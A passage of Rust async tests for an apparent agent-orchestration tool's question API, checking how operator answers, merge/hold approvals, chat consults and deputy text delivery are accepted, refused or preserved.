13101 crate::merge_decision::WITHDRAW.into(),
13102 "reimplement:beta".into(),
13103 ],
13104 );
13105 q.merge_target = Some(crate::merge_decision::Target {
13106 pr: "https://github.com/example/repo/pull/42".into(),
13107 head: "exact-reviewed-head".into(),
13108 language: "ja".into(),
13109 });
13110 q.consult = Some(ask::ChatConsult {
13111 talk: "another-conversation".into(),
13112 at: jiff::Timestamp::now(),
13113 });
13114 fx.questions().put(&mut q).unwrap();
13115 let ui = Arc::new(Ui::new(
13116 fx.queue(),
13117 fx.questions(),
13118 fx.talks(),
13119 fx.runs(),
13120 fx.home.path().into(),
13121 std::path::PathBuf::from("."),
13122 ));
13123 let response = question_answer(
13124 State(ui.clone()),
13125 Path(q.id.clone()),
13126 Ok(Json(NewAnswer {
13127 choice: Some(choice.into()),
13128 text: None,
13129 ..Default::default()
13130 })),
13131 )
13132 .await
13133 .unwrap();
13134 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
13135 let disk = fx.questions().get(&q.id).unwrap();
13136 assert_eq!(disk.merge_target, q.merge_target);
13137 assert_eq!(disk.consult, q.consult);
13138 assert_eq!(disk.resolution().as_deref(), Some(choice));
13139 assert!(
13140 question_answer(
13141 State(ui),
13142 Path(q.id.clone()),
13143 Ok(Json(NewAnswer {
13144 choice: Some("merge".into()),
13145 text: None,
13146 ..Default::default()
13147 }))
13148 )
13149 .await
13150 .is_err(),
13151 "an already settled decision cannot turn into merge approval"
13152 );
13153 }
13154 }
13155
13156 #[tokio::test]
13157 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
13158 let fx = Fixture {
13159 home: TempDir::new().unwrap(),
13160 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13161 };
13162 let mut state = crate::land::tests::repair_state(true, true);
13163 state.status = RunStatus::Landing;
13164 state.parked = true;
13165 state.driver_exited = true;
13166 let mut task = Task::new(
13167 "Existing PR owner".into(),
13168 state.instruction.clone(),
13169 state.repo.clone(),
13170 Source::Human,
13171 );
13172 task.runs.push(state.id.clone());
13173 task.status = TaskStatus::Parked;
13174 fx.queue().put(&mut task).unwrap();
13175 let mut q = Question::new(
13176 state.id.clone(),
13177 crate::land::APPROVAL_NODE.into(),
13178 "land".into(),
13179 "Contested merge".into(),
13180 "Original evidence".into(),
13181 vec!["merge".into(), "hold".into()],
13182 );
13183 state.land_approval = Some(crate::run::LandApproval {
13184 question: q.id.clone(),
13185 head: "reviewed-head".into(),
13186 });
13187 state.save_under(fx.home.path()).unwrap();
13188 fx.questions().put(&mut q).unwrap();
13189 task.hold_manual(Some("Pause this PR".into()));
13191 fx.queue().put(&mut task).unwrap();
13192 let ui = Arc::new(Ui::new(
13195 fx.queue(),
13196 fx.questions(),
13197 fx.talks(),
13198 fx.runs(),
13199 fx.home.path().to_path_buf(),
13200 state.repo.clone(),
13201 ));
13202 let response = question_answer(
13203 State(ui),
13204 Path(q.id.clone()),
13205 Ok(Json(NewAnswer {
13206 choice: Some(crate::land::REPAIR.into()),
13207 text: None,
13208 ..Default::default()
13209 })),
13210 )
13211 .await
13212 .unwrap();
13213 assert_eq!(response.0.question.id, q.id);
13214 let upgraded = fx.questions().get(&q.id).unwrap();
13215 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13216 assert!(upgraded.detail.starts_with("Original evidence"));
13217 let claim = fx.queue().claim(&task.id).unwrap();
13218 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13219 assert!(
13220 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13221 "an existing driver keeps its claim"
13222 );
13223 drop(claim);
13224 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13225 let resumed = fx.queue().get(&task.id).unwrap();
13226 assert_eq!(
13227 resumed
13228 .resume_override
13229 .as_ref()
13230 .unwrap()
13231 .pinned_run
13232 .as_deref(),
13233 Some(state.id.as_str())
13234 );
13235 assert!(resumed.status.runnable());
13236 assert_eq!(resumed.instruction, task.instruction);
13237 assert_eq!(resumed.runs, task.runs);
13238 assert!(resumed.action_applied(&q.id));
13239 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13240 assert_eq!(fx.queue().list().len(), 1);
13241 assert_eq!(
13242 fx.queue().get(&task.id).unwrap().resume_override,
13243 resumed.resume_override
13244 );
13245 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13246 assert!(
13247 disk.merge_repairs.is_empty(),
13248 "only the claimed run driver may execute repair"
13249 );
13250 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13251 }
13252
13253 #[tokio::test]
13254 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13255 let fx = Fixture::start().await;
13256 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13257 let path = format!("/api/questions/{id}/answer");
13258
13259 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13260 assert_eq!(res.status, 200, "{}", res.body);
13261 let body = res.json();
13262 assert_eq!(body["status"], "answered");
13263 assert_eq!(body["answer"]["choice"], "Redis");
13264
13265 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13269 assert_eq!(again.status, 409, "{}", again.body);
13270 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13271 }
13272
13273 #[tokio::test]
13274 async fn fresh_api_answers_survive_task_inquiry_migration() {
13275 use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13276 for migrate_first in [false, true] {
13277 let fx = Fixture::start().await;
13278 let mut task = Task::new(
13279 "work".into(),
13280 "work".into(),
13281 PathBuf::from("/repo/magi"),
13282 Source::Human,
13283 );
13284 task.runs.push("run-a".into());
13285 fx.queue().put(&mut task).unwrap();
13286 let mut q = Question::new(
13287 "run-a".into(),
13288 "implement".into(),
13289 "impl-A".into(),
13290 "Keep held?".into(),
13291 String::new(),
13292 vec!["hold".into()],
13293 );
13294 q.actions.insert("hold".into(), ChoiceAction::Hold);
13295 fx.questions().put(&mut q).unwrap();
13296 if migrate_first {
13297 crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13298 }
13299 let response = fx
13300 .post(
13301 &format!("/api/questions/{}/answer", q.id),
13302 Some(r#"{"choice":"hold"}"#),
13303 )
13304 .await;
13305 assert_eq!(response.status, 200, "{}", response.body);
13306 for _ in 0..2 {
13307 crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13308 let source = fx.questions().get(&q.id).unwrap();
13309 assert_eq!(source.resolution().as_deref(), Some("hold"));
13310 let decision = Outbox::at(fx.home.path())
13311 .get(&q.id)
13312 .unwrap()
13313 .decision
13314 .unwrap();
13315 assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13316 assert_eq!(decision.source_answer_at, source.answered_at);
13317 assert_eq!(decision.status, Status::Queued);
13318 }
13319 assert_eq!(
13320 fx.post(
13321 &format!("/api/questions/{}/answer", q.id),
13322 Some(r#"{"choice":"hold"}"#)
13323 )
13324 .await
13325 .status,
13326 409
13327 );
13328 }
13329 }
13330
13331 #[tokio::test]
13332 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13333 let home = tempfile::tempdir().unwrap();
13334 let ui = delta_test_ui(home.path());
13335 let mut q = Question::new(
13336 "task".into(),
13337 crate::land::APPROVAL_NODE.into(),
13338 "land".into(),
13339 "Explain?".into(),
13340 String::new(),
13341 vec!["hold".into()],
13342 );
13343 q.deputy = Some(ask::Deputy::new("context".into()));
13344 ui.questions.put(&mut q).unwrap();
13345 let mut cfg = stub_config();
13346 cfg.daemon.max_deputies = 0;
13347 let mut status = crate::daemon::Status::new();
13348 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13349 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13350 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13351 let error = question_say(
13352 State(ui.clone()),
13353 Path(q.id.clone()),
13354 Ok(Json(NewSay {
13355 body: "Explain the findings".into(),
13356 })),
13357 )
13358 .await
13359 .unwrap_err();
13360 assert_eq!(
13361 error.text_reason,
13362 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13363 );
13364 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13365
13366 let mut text = Question::new(
13367 "task".into(),
13368 "ask".into(),
13369 "operator".into(),
13370 "Which name?".into(),
13371 String::new(),
13372 vec![],
13373 );
13374 ui.questions.put(&mut text).unwrap();
13375 let Json(view) = question_answer(
13376 State(ui.clone()),
13377 Path(text.id.clone()),
13378 Ok(Json(NewAnswer {
13379 choice: None,
13380 text: Some("chosen name".into()),
13381 ..Default::default()
13382 })),
13383 )
13384 .await
13385 .unwrap();
13386 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13387 assert!(!ui.questions.get(&text.id).unwrap().status.open());
13388 }
13389
13390 #[tokio::test]
13391 async fn question_text_handler_admission_without_transport() {
13392 let home = tempfile::tempdir().unwrap();
13393 let ui = delta_test_ui(home.path());
13394 let mut q = Question::new(
13395 "task".into(),
13396 crate::land::APPROVAL_NODE.into(),
13397 "land".into(),
13398 "May this PR merge?".into(),
13399 String::new(),
13400 vec!["hold".into()],
13401 );
13402 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13403 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13404 ui.questions.put(&mut q).unwrap();
13405 let say = || {
13406 Ok(Json(NewSay {
13407 body: "Explain the findings".into(),
13408 }))
13409 };
13410 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13411 .await
13412 .unwrap_err();
13413 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13414 let response = rejected.into_response();
13415 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13416 .await
13417 .unwrap();
13418 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13419 assert_eq!(body["code"], "question_text_unavailable");
13420 assert_eq!(body["reason"], "deputy_exhausted");
13421 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13422 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13423 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13424 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13425 .await
13426 .unwrap();
13427 assert_eq!(view.text_delivery.state, "live");
13428 assert!(view.question.waiter.is_none());
13429 assert!(view.question.cwd.is_none());
13430 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13431 ui.questions.drop_lease(&q.id);
13432 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13433 .await
13434 .unwrap_err();
13435 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13436 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13437 let _ = question_answer(
13438 State(ui.clone()),
13439 Path(q.id.clone()),
13440 Ok(Json(NewAnswer {
13441 choice: Some("hold".into()),
13442 text: None,
13443 ..Default::default()
13444 })),
13445 )
13446 .await
13447 .unwrap();
13448 assert_eq!(
13449 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13450 Some("hold")
13451 );
13452 }
13453
13454 #[tokio::test]
13455 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13456 let fx = Fixture::start().await;
13457 let store = fx.questions();
13458 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13459 store
13460 .update(&id, |q| {
13461 q.node = crate::land::APPROVAL_NODE.to_owned();
13462 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13463 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13464 Ok(())
13465 })
13466 .unwrap();
13467 let path = format!("/api/questions/{id}/say");
13468 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13469 assert_eq!(refused.status, 422, "{}", refused.body);
13470 assert!(
13471 refused.json()["error"]
13472 .as_str()
13473 .unwrap()
13474 .contains("deputy_exhausted")
13475 );
13476 assert!(store.get(&id).unwrap().thread.is_empty());
13477
13478 store.beat(&id, ask::WaiterKind::Deputy);
13480 let view = fx.get("/api/questions").await.json();
13481 assert_eq!(view[0]["text_delivery"]["state"], "live");
13482 let accepted = fx
13483 .post(&path, Some(r#"{"body":"explain the findings"}"#))
13484 .await;
13485 assert_eq!(accepted.status, 200, "{}", accepted.body);
13486 let before = std::fs::read(store.path_of(&id)).unwrap();
13487
13488 store.drop_lease(&id);
13491 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13492 assert_eq!(refused.status, 422, "{}", refused.body);
13493 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13494 let held = fx
13495 .post(
13496 &format!("/api/questions/{id}/answer"),
13497 Some(r#"{"choice":"hold"}"#),
13498 )
13499 .await;
13500 assert_eq!(held.status, 200, "{}", held.body);
13501 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13502 }
13503
13504 #[tokio::test]
13505 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13506 let repo = tempfile::tempdir().unwrap();
13507 let mut cfg = stub_config();
13508 cfg.daemon.max_deputies = 0;
13509 std::fs::write(
13510 repo.path().join("magi.toml"),
13511 toml::to_string(&cfg).unwrap(),
13512 )
13513 .unwrap();
13514 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13515 let mut status = crate::daemon::Status::new();
13516 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13517 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
13518 let id = ask(&fx, "Explain?", &["hold"]);
13519 fx.questions()
13520 .update(&id, |q| {
13521 q.node = crate::land::APPROVAL_NODE.into();
13522 q.deputy = Some(ask::Deputy::new("context".into()));
13523 q.deputy.as_mut().unwrap().agent = "stub".into();
13524 Ok(())
13525 })
13526 .unwrap();
13527 cfg.daemon.max_deputies = 1;
13528 std::fs::write(
13529 repo.path().join("magi.toml"),
13530 toml::to_string(&cfg).unwrap(),
13531 )
13532 .unwrap();
13533 let view = fx.get("/api/questions").await.json();
13534 assert_eq!(view[0]["deputies_enabled"], true);
13535 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
13536 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
13537 let res = fx
13538 .post(
13539 &format!("/api/questions/{id}/say"),
13540 Some(r#"{"body":"Please explain"}"#),
13541 )
13542 .await;
13543 assert_eq!(res.status, 422, "{}", res.body);
13544 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13545 }
13546
13547 #[tokio::test]
13548 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
13549 let fx = Fixture::start().await;
13550 let id = ask(&fx, "No seat", &[]);
13551 let store = fx.questions();
13552 let before = std::fs::read(store.path_of(&id)).unwrap();
13553 let res = fx
13554 .post(
13555 &format!("/api/questions/{id}/say"),
13556 Some(r#"{"body":"hello"}"#),
13557 )
13558 .await;
13559 assert_eq!(res.status, 422, "{}", res.body);
13560 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13561 let res = fx
13562 .post(
13563 &format!("/api/questions/{id}/answer"),
13564 Some(r#"{"text":"hello"}"#),
13565 )
13566 .await;
13567 assert_eq!(res.status, 200, "{}", res.body);
13568 assert_eq!(
13569 store.get(&id).unwrap().resolution().as_deref(),
13570 Some("hello")
13571 );
13572 }
13573
13574 #[tokio::test]
13575 async fn saying_something_appends_a_turn_without_answering() {
13576 let fx = Fixture::start().await;
13577 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13578 fx.questions().beat(&id, ask::WaiterKind::Asker);
13579 let path = format!("/api/questions/{id}/say");
13580
13581 let res = fx
13582 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
13583 .await;
13584 assert_eq!(res.status, 200, "{}", res.body);
13585 let body = res.json();
13586 assert_eq!(body["status"], "open", "talking back is not a decision");
13587 assert_eq!(body["answer"], Value::Null);
13588 assert_eq!(body["thread"][0]["who"], "operator");
13589 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
13590 assert_eq!(body["waiting_on_agent"], true);
13591 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13593 }
13594
13595 #[tokio::test]
13596 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
13597 let fx = Fixture::start().await;
13598 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13599
13600 let list = fx.get("/api/questions").await.json();
13601 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
13602
13603 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
13604 assert_eq!(res.status, 409, "{}", res.body);
13605 let q = fx.questions().get(&id).unwrap();
13606 assert!(q.status.open());
13607 assert!(q.consult.is_none());
13608 }
13609
13610 #[tokio::test]
13611 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
13612 let fx = Fixture::start().await;
13613 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13614 let cfg = Config {
13615 agents: vec![crate::config::AgentSpec {
13616 id: "mock".to_owned(),
13617 kind: crate::config::AgentKind::Command,
13618 model: None,
13619 command: vec!["true".to_owned()],
13620 extra_args: Vec::new(),
13621 env: Default::default(),
13622 prompt_delivery: None,
13623 max_turn_secs: None,
13624 }],
13625 ..Config::default()
13626 };
13627 let talk = crate::talk::begin(
13628 &fx.talks(),
13629 &cfg,
13630 fx.home.path().to_path_buf(),
13631 Some("mock"),
13632 )
13633 .unwrap();
13634 let mut task = Task::new(
13635 "t".to_owned(),
13636 "Do it".to_owned(),
13637 PathBuf::from("/repo/magi"),
13638 Source::Agent {
13639 run: talk.id.clone(),
13640 node: crate::queue::CHAT_NODE.to_owned(),
13641 },
13642 );
13643 task.start("20260902-000000-beef".to_owned());
13644 fx.queue().put(&mut task).unwrap();
13645
13646 let list = fx.get("/api/questions").await.json();
13647 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13648 assert_eq!(
13649 list[0]["choices"],
13650 serde_json::json!(["SQLite", "Redis"]),
13651 "the hand-over is never a choice"
13652 );
13653 fx.questions()
13654 .update(&id, |q| {
13655 q.node = crate::land::APPROVAL_NODE.into();
13656 q.choices = vec!["merge".into(), "hold".into()];
13657 Ok(())
13658 })
13659 .unwrap();
13660 let list = fx.get("/api/questions").await.json();
13661 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13662 assert_eq!(list[0]["can_consult_chat"], true);
13663 fx.questions()
13664 .update(&id, |q| {
13665 q.node = crate::bump::NOTICE_NODE.into();
13666 Ok(())
13667 })
13668 .unwrap();
13669 let list = fx.get("/api/questions").await.json();
13670 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13671 assert_eq!(list[0]["can_consult_chat"], false);
13672 }
13673
13674 #[tokio::test]
13675 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
13676 let fx = Fixture::start().await;
13677 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13678 fx.questions()
13679 .update(&id, |q| {
13680 q.node = crate::land::APPROVAL_NODE.into();
13681 q.choices = vec!["merge".into(), "hold".into()];
13682 Ok(())
13683 })
13684 .unwrap();
13685 let cfg = Config {
13686 agents: vec![crate::config::AgentSpec {
13687 id: "mock".to_owned(),
13688 kind: crate::config::AgentKind::Command,
13689 model: None,
13690 command: vec!["true".to_owned()],
13691 extra_args: Vec::new(),
13692 env: Default::default(),
13693 prompt_delivery: None,
13694 max_turn_secs: None,
13695 }],
13696 ..Config::default()
13697 };
13698 let repo = fx.home.path().join("chat-repo");
13700 std::fs::create_dir_all(&repo).unwrap();
13701 let toml = repo.join("magi.toml");
13702 std::fs::write(&toml, "this is = = not toml").unwrap();
13703 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13704 let mut task = Task::new(
13705 "t".to_owned(),
13706 "Do it".to_owned(),
13707 PathBuf::from("/repo/magi"),
13708 Source::Agent {
13709 run: talk.id.clone(),
13710 node: crate::queue::CHAT_NODE.to_owned(),
13711 },
13712 );
13713 task.start("20260902-000000-beef".to_owned());
13714 fx.queue().put(&mut task).unwrap();
13715
13716 let path = format!("/api/questions/{id}/consult");
13717 let res = fx.post(&path, None).await;
13718 assert!(res.status >= 400, "{}", res.body);
13719 assert!(fx.questions().get(&id).unwrap().consult.is_none());
13720 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13721
13722 std::fs::write(&toml, "").unwrap();
13723 let res = fx.post(&path, None).await;
13724 assert_eq!(res.status, 202, "{}", res.body);
13725 assert!(fx.questions().get(&id).unwrap().consult.is_some());
13726 let q = fx.questions().get(&id).unwrap();
13727 assert!(q.status.open());
13728 assert!(q.answer.is_none());
13729 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13730 assert_eq!(res.json()["can_consult_chat"], true);
13731 let list = fx.get("/api/questions").await.json();
13732 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13733 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13734
13735 let res = fx
13736 .post(
13737 &format!("/api/questions/{id}/answer"),
13738 Some(r#"{"choice":"hold"}"#),
13739 )
13740 .await;
13741 assert_eq!(res.status, 200, "{}", res.body);
13742 assert_eq!(res.json()["answer"]["choice"], "hold");
13743 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13744 assert_eq!(res.json()["can_consult_chat"], false);
13745 assert_eq!(fx.post(&path, None).await.status, 409);
13746
13747 let mut talk = fx.talks().get(&talk.id).unwrap();
13748 crate::talk::clear_pending(&mut talk, &fx.talks()).unwrap();
13750 crate::talk::close(&mut talk, &fx.talks()).unwrap();
13751 let list = fx.get("/api/questions").await.json();
13752 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13753 assert_eq!(list[0]["origin_chat_closed"], true);
13754 assert_eq!(list[0]["can_consult_chat"], false);
13755
13756 fx.talks().remove(&talk.id).unwrap();
13757 let list = fx.get("/api/questions").await.json();
13758 assert_eq!(list[0]["origin_chat"], Value::Null);
13759 assert_eq!(list[0]["origin_chat_closed"], false);
13760 assert_eq!(list[0]["can_consult_chat"], false);
13761 }
13762
13763 #[tokio::test]
13764 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13765 let fx = Fixture::start().await;
13766 let store = fx.questions();
13767 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13768 store.beat(&id, ask::WaiterKind::Asker);
13769 assert_eq!(
13770 fx.get("/api/health").await.json()["questions_needs_owner"],
13771 1
13772 );
13773
13774 let res = fx
13780 .post(
13781 &format!("/api/questions/{id}/say"),
13782 Some(r#"{"body":"why not Postgres?"}"#),
13783 )
13784 .await;
13785 assert_eq!(res.status, 200, "{}", res.body);
13786 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13787 assert_eq!(
13788 fx.get("/api/health").await.json()["questions_needs_owner"],
13789 0,
13790 "waiting on the agent is not waiting on the owner"
13791 );
13792
13793 let mut q = store.get(&id).expect("get");
13797 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13798 .expect("reply");
13799 store.put(&mut q).expect("put");
13800 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13801 assert_eq!(
13802 fx.get("/api/health").await.json()["questions_needs_owner"],
13803 1,
13804 "the agent's reply is what should light the banner back up"
13805 );
13806 }
13807
13808 #[tokio::test]
13809 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13810 let fx = Fixture::start().await;
13811 let store = fx.questions();
13812
13813 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13814 let res = fx
13815 .post(
13816 &format!("/api/questions/{empty_id}/say"),
13817 Some(r#"{"body":" "}"#),
13818 )
13819 .await;
13820 assert_eq!(res.status, 400, "{}", res.body);
13821
13822 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13823 let mut answered = store.get(&answered_id).expect("get");
13824 answered
13825 .answer(Answer::Choice("SQLite".to_owned()))
13826 .expect("answer");
13827 store.put(&mut answered).expect("put");
13828 let res = fx
13829 .post(
13830 &format!("/api/questions/{answered_id}/say"),
13831 Some(r#"{"body":"still there?"}"#),
13832 )
13833 .await;
13834 assert_eq!(res.status, 409, "{}", res.body);
13835
13836 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13837 let mut abandoned = store.get(&abandoned_id).expect("get");
13838 abandoned.abandon("timed out");
13839 store.put(&mut abandoned).expect("put");
13840 let res = fx
13841 .post(
13842 &format!("/api/questions/{abandoned_id}/say"),
13843 Some(r#"{"body":"still there?"}"#),
13844 )
13845 .await;
13846 assert_eq!(res.status, 409, "{}", res.body);
13847 }
13848
13849 #[tokio::test]
13850 async fn historical_release_2029_api_retains_answer_and_refuses_controls() {
13851 let fx = Fixture::start().await;
13852 let questions = fx.questions();
13853 let mut q = Question::new(
13854 String::new(),
13855 crate::bump::NOTICE_NODE.into(),
13856 "release-watch".into(),
13857 "Release PR approval".into(),
13858 "Saved head".into(),
13859 vec!["merge".into(), "hold".into()],
13860 );
13861 q.id = "20261109-014940-871849981cd969b1-0000000000000000-2029".into();
13862 q.merge_target = Some(crate::merge_decision::Target {
13863 pr: "https://example.test/mebae/pull/100".into(),
13864 head: "4d5a46f99a678608d2b883498d8bebd9399c0261".into(),
13865 language: "en".into(),
13866 });
13867 q.answer(Answer::Choice("merge".into())).unwrap();
13868 q.answer_delivered = true;
13869 questions.put(&mut q).unwrap();
13870 let dir = fx.home.path().join("notifications/task-chat-migration-v1");
13871 std::fs::create_dir_all(&dir).unwrap();
13872 std::fs::write(
13873 dir.join("state.json"),
13874 serde_json::to_vec(&serde_json::json!({
13875 "schema": 1, "sources": [q.id], "pending": [q.id]
13876 }))
13877 .unwrap(),
13878 )
13879 .unwrap();
13880 let bytes = std::fs::read(questions.path_of(&q.id)).unwrap();
13881 for migrated in [false, true] {
13882 if migrated {
13883 crate::task_chat::sweep(&fx.queue(), &fx.talks(), &questions, fx.home.path());
13884 }
13885 for endpoint in ["/api/questions", "/api/questions/core"] {
13886 let response = fx.get(endpoint).await;
13887 assert_eq!(response.status, 200);
13888 let rows = response.json();
13889 let row = rows
13890 .as_array()
13891 .unwrap()
13892 .iter()
13893 .find(|r| r["id"] == q.id)
13894 .unwrap();
13895 assert_eq!(row["status"], "answered");
13896 assert_eq!(row["answer"]["choice"], "merge");
13897 assert_eq!(row["can_answer"], false);
13898 assert_eq!(row["history_only"], true);
13899 }
13900 let answer = fx
13901 .post(
13902 &format!("/api/questions/{}/answer", q.id),
13903 Some(r#"{"choice":"merge"}"#),
13904 )
13905 .await;
13906 assert_eq!(answer.status, 409, "{}", answer.body);
13907 assert_eq!(std::fs::read(questions.path_of(&q.id)).unwrap(), bytes);
13908 }
13909 }
13910
13911 #[tokio::test]
13912 async fn an_answer_the_question_does_not_offer_is_refused() {
13913 let fx = Fixture::start().await;
13914 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13915 let path = format!("/api/questions/{id}/answer");
13916
13917 for body in [
13918 r#"{"choice":"Postgres"}"#,
13919 r#"{"text":"whatever you think"}"#,
13920 r#"{"choice":"Redis","text":"both"}"#,
13921 r#"{}"#,
13922 ] {
13923 let res = fx.post(&path, Some(body)).await;
13924 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13925 assert!(res.json()["error"].is_string(), "{}", res.body);
13926 }
13927 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13929 }
13930
13931 #[tokio::test]
13932 async fn a_free_text_question_takes_text_and_not_a_choice() {
13933 let fx = Fixture::start().await;
13934 let id = ask(&fx, "What should the flag be called?", &[]);
13935 fx.questions().beat(&id, ask::WaiterKind::Asker);
13936 let path = format!("/api/questions/{id}/answer");
13937
13938 assert_eq!(
13939 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13940 400
13941 );
13942 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13943 assert_eq!(res.status, 200, "{}", res.body);
13944 assert_eq!(res.json()["answer"]["text"], "--json");
13945 }
13946
13947 #[tokio::test]
13948 async fn an_unknown_question_is_a_json_404() {
13949 let fx = Fixture::start().await;
13950 let res = fx
13951 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13952 .await;
13953 assert_eq!(res.status, 404, "{}", res.body);
13954 assert!(res.json()["error"].is_string());
13955 }
13956
13957 #[tokio::test]
13958 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13959 let fx = Fixture::start().await;
13960 let questions = Questions::at(fx.home.path().join("questions"));
13961 let store = Notices::at(fx.home.path().join("notifications"));
13962 let mut q = ask::Question::new(
13963 "t1".into(),
13964 "conduct".into(),
13965 "conductor".into(),
13966 "Continue?".into(),
13967 String::new(),
13968 Vec::new(),
13969 );
13970 questions.put(&mut q).unwrap();
13971 let mut n = Notice::warn("task:t1", "Task t1 is held.");
13972 n.covered_by = Some(q.id.clone());
13973 let n = store.raise(n).unwrap();
13974 let listed = fx.get("/api/notifications").await.json();
13975 assert_eq!(listed["items"][0]["answerable_question"], q.id);
13976 questions
13977 .update(&q.id, |q| {
13978 q.abandon("run gone");
13979 Ok(())
13980 })
13981 .unwrap();
13982 let listed = fx.get("/api/notifications").await.json();
13983 assert!(listed["items"][0]["answerable_question"].is_null());
13984 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13985 assert!(
13986 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13987 .unwrap()
13988 .contains("answerable_question")
13989 );
13990 }
13991
13992 #[tokio::test]
13993 async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
13994 let fx = Fixture::start().await;
13995 let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
